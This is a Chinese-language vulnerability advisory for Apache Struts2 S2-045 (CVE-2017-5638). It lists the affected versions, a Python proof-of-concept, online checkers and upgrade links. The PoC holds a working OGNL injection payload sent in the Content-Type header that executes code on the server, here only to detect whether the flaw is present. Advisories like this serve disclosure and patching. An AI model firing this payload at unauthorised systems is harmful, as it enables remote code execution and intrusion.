Apache Struts2 曝任意代码执行漏洞 (S2-045,CVE-2017-5638)

0x00 漏洞介绍

---

Apache Struts2的Jakarta Multipart parser插件存在远程代码执行漏洞，漏洞编号为CNNVD-201703-152。攻击者可以在使用该插件上传文件时，修改HTTP请求头中的Content-Type值来触发该漏洞，导致远程执行代码。

具体漏洞描述如下：
https://cwiki.apache.org/confluence/display/WW/S2-045?from=timeline&isappinstalled=0

0x01 受影响版本

---

• Struts 2.3.5 – Struts 2.3.31
• Struts 2.5 – Struts 2.5.10

0x02 Python POC

---

此POC由Python编写，需要安装requests包。

#coding: UTF-8

#漏洞名：Apache Struts2 曝任意代码执行漏洞
#CVE编号:S2-045,CVE-2017-5638
#说明：此程序主要用于检查是否存在此漏洞
#申明：此程序且供交流学习使用，严禁非法使用
#python version 2.7


import requests
import sys
 

def poc(url):

    payload = "%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(#ros.println(102*102*102*99)).(#ros.flush())}"
    headers = {}
    headers["Content-Type"] = payload
    r = requests.get(url, headers=headers)

    if "105059592" in r.content:
        return True
    return False


if __name__ == '__main__':
    
    print "Apache Struts2 曝任意代码执行漏洞 POC"
    #xxx.do 或者xxx.action
    url=""  #填写检测地址
    
    if poc(url):
        print "存在此漏洞！"
    else:
        print "不存在此漏洞！"

0x03 在线漏洞检测

---

绿盟科技紧急漏洞在线检测：
https://cloud.nsfocus.com/#/krosa/views/initcdr/productandservice?page：_id=12
安恒重大漏洞在线检测：
http://0day.websaas.com.cn/?code=vsnh
魔方安全检测：
http://matrix.cubesec.cn/src/views/scaning.html

0x04 官方解决方案

---

官方已经发布了版本更新，建议用户升级到不受影响的最新版本(Struts2 2.3.32或Struts 2.5.10.1)，下载链接如下所示：
Struts 2.3.32: https://github.com/apache/struts/releases/tag/STRUTS_2_3_32
Struts 2.5.10.1:https://github.com/apache/struts/releases/tag/STRUTS_2_5_10_1